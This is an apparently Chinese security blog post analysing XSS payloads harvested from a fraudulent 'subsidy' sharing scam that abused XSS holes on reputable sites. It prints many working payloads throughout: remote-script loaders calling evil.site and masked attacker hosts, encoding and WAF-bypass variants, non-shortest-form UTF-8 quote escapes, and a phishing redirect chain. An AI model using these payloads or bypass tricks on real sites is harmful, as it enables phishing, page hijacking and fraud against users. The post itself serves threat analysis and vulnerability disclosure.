从黑灰产活动中学到的XSS技巧
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
0x00 背景
0.1 “春运补贴”骗局,利用人性+社交网络传播的XSS
2020年12月某晚,将要休息时,亲友群收到一个名为”春运补贴”的分享链接,点开后,提示分享几次活动页面到聊天群及朋友圈,即可获取到100-200元不等的春运补贴,补贴金额之大让人心动不已。
图:亲友群里收到的诈骗网站。
下拉URL发现是知名互联网公司的域名,但是内容是明显不相符的,猜测有诈,要么是浏览器地址栏欺骗漏洞,要么是通过XSS漏洞修改了页面内容,
上面两个漏洞类型均有捡漏的可能,遂坐起进行抓包分析。
图:”春运补贴”活动页面内容。
通过分析发现是通过XSS注入欺诈内容,其中某个嵌入了XSS payload的页面存活的短短几天时间内,访问者高达180W,证明活动点开者众多。
仅我观察到他们至少利用了45个不同网站的XSS,实际XSS弹药量应远不止此。
在骗局活动持续的半个月中,总的点击量应该高达千万级别。
值得注意的是,本次黑灰产活动并不涉及XSS蠕虫,如此传播量全部依赖普通用户点击后,被诱导分享、转发及人性的好奇与贪婪。
图:某个插了XSS页面的访问量
0.2 活动流程及角色
整个黑灰产活动涉及以下角色:
黑灰产活动平台:作为基础设施,平台页面提供活动的展示功能,也提供各类API,由于被社交平台封禁频繁,注册了大量域名,用于替换。分享时使用了高信誉网站XSS页面,分享链接通过sid、type、aid参数标记来源。
XSS黑阔作者: 不断挖掘高信誉网站XSS 漏洞为黑灰产平台的弹药。XSS代码未发现窃取cookie的行为,主要是利用高信誉网站XSS绕过社交平台的域名安全检测和分享异常检测,延长存活时间。
社交平台:活动分享依赖的平台,有强大的违规内容检测能力,与黑灰产活动平台作斗争,大部分含有XSS的分享URL能在两天内封禁。
普通用户:被页面标题吸引,被诱导点击分享。
存在XSS漏洞的网站:被动参与,也是受害者,一般为高信誉网站,估计用于延长XSS存活时间,由于存在XSS漏洞,页面可能被社交平台封禁,而影响到正常业务打开。
导流网站:当用户分享完成,点击退回后,页面将跳转到涉黄页面,或者跳转到小说类的公众号文章进行引流,猜测这是本次黑灰产活动驱动的利益来源。
我:观察上述角色的斗智斗勇,将漏洞情报通报相关网站。
0.3 封禁不死的小强
第二天发现链接已经被社交平台封禁了,但是之前分享部分的链接还能打开。
抓包发现是上次多分享了多次,利用了2个不同网站的XSS,其中一个还没封禁,点进去再次分享,又发现新分享页面利用的新XSS。
黑灰产活动平台则注册了n个域名,通过大量的域名与社交平台的封禁做对抗,社交平台封禁比较及时,不到24小时,原分享链接基本全封。但黑灰产活动平台可动态切换下次的新域名和新的分享链接,导致封禁不死。
图:分享链接被封禁
本想反制黑灰产活动平台,奈何实力有限,打不下来,但是观察到每次分享时,分享的链接有变化。
某个静态文件页面实际上是API接口,返回内容Base64格式,解码后为下一次分享URL及相关资源地址。
图:静态文件页面实际上是API接口
图:返回内容进行base64编码,shareurl即是下一次分享URL
观察到此特征后,编写脚本,持续对活动平台API进行定期访问,共获取唯一链接54个,域名去重后得到45个XSS,涉及国内知名互联网厂商,其中有安全团队联系方式的均已提交修复。
对获取到的XSS进行分析,不由感叹黑灰产团队利用之精巧、弹药之丰富,明显是有备而来,顺便学到了几个小trick。
除了”春运补贴”黑灰产活动,还有”防疫补贴”等类似活动,估计是同一个团伙所为,部分公司安全团队 [1] 和执法机构 [2] 也有注意到此类大规模欺骗诱导,其主要目的是提醒普通用户,不要去点击分享。与其内容不同,本文主要分析上述黑灰产活动中利用到的XSS技巧。
0x01 动态替换页面技巧
日常证明XSS,通常只用alert()
弹窗即可,不用管插入XSS payload 后页面是否扰乱布局造成页面混乱,
对于黑灰产而言,自然想将做到最大化利用,就本次黑灰产活动而言,需要用XSS payload去第三方页面拉取替换页面的资源,这涉及到网络请求;且整个替换过程最好能做到过渡自然,页面不能有明显的乱码,它们使用了以下技巧。
1.1 网络请求引入第三方JS
主要通过以下方式引入第三方页面:
**import **
import('http://evil.site/xss.js')
fetch 引入
fetch('//evil.site/xss.js').then(a=>a.text().then(a=>eval(a)))
appendChild动态添加
with(document)[head.appendChild(createElement('script')).src='//evil.site/xss.js'
script 标签引入
<script src="//evil.site/xss.js">
1.2 替换页面的技巧
隐藏原页面内容
注入<body/hidden>隐藏原页面内容,再执行XSS,这样避免原页面视觉上的混乱。
<body/hidden>
<xss payload>
重写父页面titile
对于iframe/src构造的XSS,通过以下js代码重写父页面title,通过页面标题看起来是正常跳转的假象。
d=parent.document;d.title='302';
1.3 Payload变形技巧
通过以下方式进行payload进行变形,从而绕过可能的安全检测:
Base64编码
atob("YWxlcnQoMSk=") //alert(1)
八进制、十六进制编码
Javascript代码支持八进制和十六进制编码执行
所以以下代码均可执行弹窗1:
eval('alertx281x29'); //() 十六进制编码后为 x28 x29
eval('a154ert(1)'); // l 八进制为154
Function执行代码
Function("alert(1)")()
通过`替换括号它还有以下变形:
Function`alert(1)`()
Function`alert(1)```
Function`alertx281x29``` //与十六进制编码结合
0x02 XSS执行流程
XSS的触发有输入、处理过程、输出三个环节。
输入:
也即payload 插入的位置。
处理过程
: 应用程序的(服务端/前端)处理过程,是否做了相关过滤,是否有WAF防护。
输出
: payload输出位置、页面Content-Type、编码格式。
以下分析也主要针对这三个环节。
本次黑灰产活动中发现的反射XSS比较好分析,存储型的XSS实际仅捕获到触发的URL,也就是输出点,前面输入点和处理过程是未知的,也比较难去寻找,所以若涉及存储XSS案例均是根据经验进行的猜测。
案例中域名、路径使用的xxx为替换,非真实域名、路径。
0x03 平平无奇的XSS
3.1 逃逸单、双引号的反射XSS案例
此类型的一般输出点位于<script>
内部语句中,Payload上添加一个单、双引号即可逃逸出原语句,增加新的JS代码。
对于本次黑灰产活动,此类型的XSS是最多的,因为Payload 不需要带有尖括号(<>)和onxxx事件,特征较小,JavaScript 语句中支持各种编码也便于绕过检测,而且此类XSS用扫描器比较容易寻找。
逃逸单引号XSS漏洞案例:
漏洞URL:
https://domain_a.com/xxx/data.html/;9175'-Function(atob('d2l0aChkb2N1bWVudClbaGVhZC5hcHBlbmRDaGlsZChjcmVhdGVFbGVtZW50KCdzY3JpcHQnKSkuc3JjPScvL3h4LmNjL2k='))()-'?sid=12&type=xxx&aid=xx
Payload:
'-Function(atob('d2l0aChkb2N1bWVudClbaGVhZC5hcHBlbmRDaGlsZChjcmVhdGVFbGVtZW50KCdzY3JpcHQnKSkuc3JjPScvL3h4LmNjL2k='))()-'
//将上述代码解码后为:
//with(document)[head.appendChild(createElement('script')).src='//xx.cc/i
通过单引号闭合原由语句,添加-Function("code")()-
执行code片段代码,此处使用;替换-也是一样的效果,使用-
特征会小一些。
var app=''-Function("code")()-'';
var app='';Function("code")();'';
图:逃逸单引号XSS漏洞
逃逸双引号XSS漏洞案例:
漏洞URL:
https://xx.domain_b.com/xxx/?refrom=mxx&%22-new%20Function(atob(%27c2V0VGltZW91dGBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8veHh4LmNuL24nO2A7%3D%3D%27))()-%22
Payload 解码后为:
"-new Function(atob('c2V0VGltZW91dGBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8veHh4LmNuL24nO2A7'))()-"
将其Base64解码:
setTimeout`document.head.appendChild(document.createElement('script')).src='//xxx.cn/n';`; //真实域名已使用xxx替换
图:逃逸双引号XSS漏洞
3.2 存储XSS案例
平平无奇的存储XSS
漏洞URL:
http://xx.domain_c.com/s/x/xxx/xxxx.html?key=xxx20d5123
某网站具有话题功能,话题处插入XSS payload,再浏览话题内容,即可触发 。话题# 处充满了黑阔的”友好”问候。
Payload:
<import onload="import('//xxxx.cc/x')">
图:平平无奇的存储XSS
文件上传导致的存储XSS
漏洞URL:
https://xxx.domain_d.com/xxxx/xxxx-1129-2bed-bf62-b9295c3b0f62img.html
查看html源码无关字符较多,猜测存在上传漏洞导致。
XSS Payload:
<script>
var s=document.createElement('script');
s.src=atob('xss_js_url_base64');
document.body.appendChild(s);
</script>
图: 文件上传导致的存储XSS
0x04 有点新奇的XSS
4.1 flv 文件格式也可XSS
漏洞URL:
http://xx.xxx.domain_e.com/xxxx4784e1935c75ee930f7913d8c134.flv
上传flv格式文件,访问时页面返回Content-Type为Content-Type:video/x-flv;,text/html charset=UTF-8
,浏览器会将返回内容当作html解析,
细看能看到Content-Type同时描述了两种格式,有些畸形,存在两种情况:
1)网站本身Content-Type就是这样。
2)文件上传时可指定文件类型,指定为video/x-flv;,text/html charset=UTF-8
,访问时又带出,浏览器兼容。
最终flv文件内容中的html被解析导致XSS。
图:flv 文件格式也可XSS
4.2 多层URL编码绕过防护
漏洞URL:
https://xxxx.domain_f.com/message-index-x1%2522%253e%253c%2569%256d%2567%252f%2573%2572%2563%253d%2531%2520%256f%256e%2565%2572%2572%256f%2572%253d%2561%256c%2565%2572%2574%2528%2531%2529%253e.mhtml
其中Payload经过了多层URL编码
//URL上的payload
x1%2522%253e%253c%2569%256d%2567%252f%2573%2572%2563%253d%2531%2520%256f%256e%2565%2572%2572%256f%2572%253d%2561%256c%2565%2572%2574%2528%2531%2529%253e
//第一层URL解码
x1%22%3e%3c%69%6d%67%2f%73%72%63%3d%31%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e
//第二层URL解码
x1"><img/src=1 onerror=alert(1)>
//实际黑灰产利用过程中有4次URL编码,但是发现构造2次编码即可绕过,仅以两次举例。
若直接构造攻击参数,将被拦截,多次URL编码后,绕过了防护。
后沟通得知,因为实际业务有多次URL编码的需要,所以漏过了。
图:多层URL编码绕过防护
0x05 奇奇怪怪的XSS
5.1 静态.css 文件页面也可XSS
漏洞URL:
http://xx.xxx.domain_g.com/css/hg.css;%3ciframe+//+onload='%60%0a23123%60-import(%60//xxx.cc/i%60)'%3E&sid=12&type=quanad&aid=26
咋一看是一个静态css文件请求URL,实际是经过后端处理的,资源不存在提示报错,路径在报错信息中,报错格式为json格式,但返回Content-Type为html,最终导致XSS。
Paylaod:
//原始payload
%3ciframe+//+onload='%60%0a23123%60-import(%60//xxx.cc/i%60)'%3E
//编码后为
<iframe // onload='`
23123`-import(`//xxx.cc/i`)'>
图:静态.css 文件页面也可XSS
5.2 多个输入、输出位置拆分XSS Payload绕过防护
在多个输入位置拆分XSS Payload,输出再将其组合,最早见于剑心的《疯狂的跨站之行》【3】中用于绕过字符长度限制。
本次活动也发现使用了类似技巧,以其中一个漏洞举例:
漏洞URL:
https://x.x.domain_h.com/x/xxx/xxx/detail_h5.html
查看页面源码,XSS利用很精巧,payload分散在不同字段,闭合相关参数后,形成XSS。
图:多个输入、输出位置拆分XSS Payload绕过防护1
其中第一个位置使用<iframe/z='
创建frame 标签,第二个位置使用hello worldsby' src='xxs_payload'>
闭合掉第一个位置iframe后面无关参数,并引入src 属性,在src属性中添加XSS payload。
其中src的值使用了&#x 为HTML实体编码,剔除无关参数后的,构造弹窗Payload如下:
<iframe/z='some string' src='
javascript:top[693741..toString(36)](atob(`YWxlcnQoIjEiKQ==`))'>
解析时有以下变化

javascript: => javascript: //解析后为javascript:
( => ( // (为左括号
top[693741..toString(36)] => eval() // top[693741..toString(36)] 执行后为eval();
图:多个输入、输出位置拆分XSS Payload绕过防护2
最后,剔除无关参数后的实际Payload如下:
<iframe/z='some string' src='
javascript:eval(atob(`ZD1wYXJlbnQuZG9jdW1lbnQ7ZC50aXRsZT0nMzAyJzt6PWQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7ei5zcmM9Jy8veHguY2Mvcyc7ZC5ib2R5LmFwcGVuZENoaWxkKHopOw==`))'>
//实际攻击的payload Base64解码后
//d=parent.document;d.title='302';z=d.createElement('script');z.src='//xx.cc/s';d.body.appendChild(z);
<iframe/z='some string' src='
javascript:eval(atob(`d=parent.document;d.title='302';z=d.createElement('script');z.src='//xx.cc/s';d.body.appendChild(z);`))'>
5.3 绕过某云WAF
漏洞URL:
https://xxx.domain_i.com/goods/xxxx/xxxx?loginname=asdsa&loginpwd=%27%22%2d%65%76%61%6c%2e%63%61%6c%6c%60%24%7b%27%69%6d%70%6f%5c%31%36%32%5c%78%37%34%5c%78%32%38%22%2f%2f%78%78%78%2e%63%63%2f%69%22%5c%78%32%39%27%7d%60%2d%22&
URL去除Payload,随意一个参数加上新弹窗语句,发现拦截,为某云WAF
图:绕过某云WAF 1
图:绕过某云WAF 2
提取Payload解码:
'"-eval.call`${'impo162x74x28"//xxx.cc/i"x29'}`-"
分析Payload:
-
使用eval.call、${} 引入代码 -
使用多种编码162 (八进制字符 r ) 、x74 (十六进制编码字符 t)绕过import 特征
再次解码后Payload为:
'"-eval.call`${'import("//xxx.cc/i")'}`-"
翻阅资料后 [6] [7],发现它还有以下变形:
eval.call`${'alertx281x29'}`
eval.call(1,`alertx281x29`)
eval.apply`${[`alertx281x29`]}`
5.4 使用UTF-8非最短形式编码逃逸闭合引入新标签
某网站子域名,搜索处,存在反射XSS,XSS payload输出在以下位置:
<input type="hidden" name="searchword1" value="xss_payload">
最简单的利用就是通过双引号闭合,再尖括号引入新的标签,但是在此处URLencode编码后的双引号(%22)和尖括号(%3C、%3E)在服务端都被转义了的,无法逃逸。
观察到黑产大佬使用的payload如下:
http://xxxx.domain_j.cn/search/?searchword=%c0%a2%E0%80%BC/script%C0%BE%C0%BE%E0%80%BCscript/src=%C0%A2//%C1%A8%F0%80%80%b3%C0%b6x%C0%AE%FC%80%80%80%81%83%63/i
分析Payload:
%c0%a2 => " //解码后为双引号,下同
%E0%80%BC => >
%C0%BE => <
查阅资料得知 [4] [5],此为UTF-8非最短形式(non-shortest forms (NSF) UTF-8) 编码方式,根据有效比特位不同它们还有几种格式:
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
> = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2
服务端刚好支持解析此编码方式,导致可逃逸双引号吧闭合引入新标签构造XSS。
最后插入Payload后页面如下:
<input type="hidden" name="searchword1" value=""</script>><script/src="//cccc.cc/i">
图:使用UTF-8非最短形式编码逃逸闭合引入新标签
0x06 如何发现类似问题
6.1 XSS对黑灰产利用价值
首先探讨一下XSS的黑灰产实际价值:
1)XSS 窃取登录凭证,及窃取凭证后的其他一些动作。
2)APP/小程序流行的情况下,大部分网站的XSS已不太能做到直接窃取登录凭证,更多是用来为钓鱼、导流,并利用高信誉网站的XSS绕过平台安全检测,延长钓鱼时间。
更多情况下,非法团伙喜欢使用低成本的建站系统,并使用短链接隐藏真实URL,通过URL跳转绕过可能的安全检测,而使用XSS已经算比较高级的对抗了。
6.2 搜索引擎、安全论坛、QQ群、贴吧、微博搜索钓鱼信息
通过搜索引擎、安全论坛、QQ群、贴吧、微博搜索”钓鱼网站”关键字信息,安全意识高的人可能在上述平台吐槽或举报,若发现及时钓鱼链接可能尚未失效,可分析其中可能利用到的URL跳转或者XSS漏洞。
下面举两个笔者遇到的例子:
6.2.1 一个简单的URL跳转的例子
浏览贴吧,某个账号回帖内容极具诱惑性,且带有某大厂的可疑短链接,点开后,发现跳到涉黄页面,威胁情报走一波。
漏洞链接:
https://xx.xxxx.com/xx/u?r=FEiU7xB
图:一个简单的URL跳转
6.2.2 多层URL跳转+XSS的钓鱼例子
浏览某安全论坛,坛友提到的一个钓鱼网站。点开抓包分析发现利用了3个URL跳转+1个XSS进行钓鱼。
1.) 钓鱼URL(短链接): https://url.cn/xxxxx
, 点击后跳转到另一个短链接 :https://dwz.cn/yyyyy
图:URL跳转+XSS 1
2.) 短链接 :https://dwz.cn/yyyyy
解析后跳转到 http://mall.zzzzz.com/logout.php?rturl=https%3a%2f%2fdwz.cn%2fzzzzz%3f%40qq.com
图:URL跳转+XSS 2
3.) http://mall.zzzzz.com/logout.php?rturl=https%3a%2f%2fdwz.cn%2fzzzzz%3f%40qq.com
302再跳转到短链接https://dwz.cn/zzzzz?@qq.com
图:URL跳转+XSS 3
4.) https://dwz.cn/zzzzz?@qq.com
跳转到https://zxx.yyyyyyyyy.com/list.xxxx?q=sfnolpjv&c=1,d:document[
write](atob(
PGJvZHkvaGlkZGVuPjxzY3JpcHQgc3JjPS8vcHV4dC5jbi9xLnBocD48L3NjcmlwdD4=+))&ra7Mur3YTN4kDO5QzNwYTNx0TZtlGdmEzMuIzMy0Tel52btZSZyFGaz1zYiZiYo1DZp1mJlV2d3FXc=ra7Mur?12132
图:URL跳转+XSS 4
5.) https://zby.yyyyyyyyy.com 页面触发XSS
图:URL跳转+XSS 5
document[`write`](atob(`PGJvZHkvaGlkZGVuPjxzY3JpcHQgc3JjPS8veHh4eC5jbi9xLnBocD48L3NjcmlwdD4= `));
//XSS payload:
//document.write(`<body/hidden>x3Cscript src=//xxxx.cn/q.php>x3C/script>`)
最后xxxx.cn/q.php 构造出的即是最后的钓鱼页面。
## 0x07 总结
XSS 很灵活,要学的还很多。
不忘初心,守正出奇。
0x08 参考资料
[1] 《“2021春运补贴领取通知”》https://render.alipay.com/p/h5/life_public/www/index.html?publicId=2015020200029643&msgId=2015020200029643f954923a-863b-4655-a548-14b8355c5755
[2] 《注意!这种防疫补贴千万别领!》https://mp.weixin.qq.com/s/fOYjFPGonxWRNtRmQGVuWA
[3]《疯狂的跨站之行》 https://huaidan.org/archives/1186.html
[4] 《Unicode Security Guide》 http://websec.github.io/unicode-security-guide/character-transformations/
[5] 《UTF-8非最短形式及编码安全问题》https://blog.csdn.net/c465869935/article/details/54407084
[6] Function.prototype.apply() https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/apply
[7] 《XSS之绕过简单WAF总结》 https://blog.51cto.com/u_15490268/4961128
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6022.html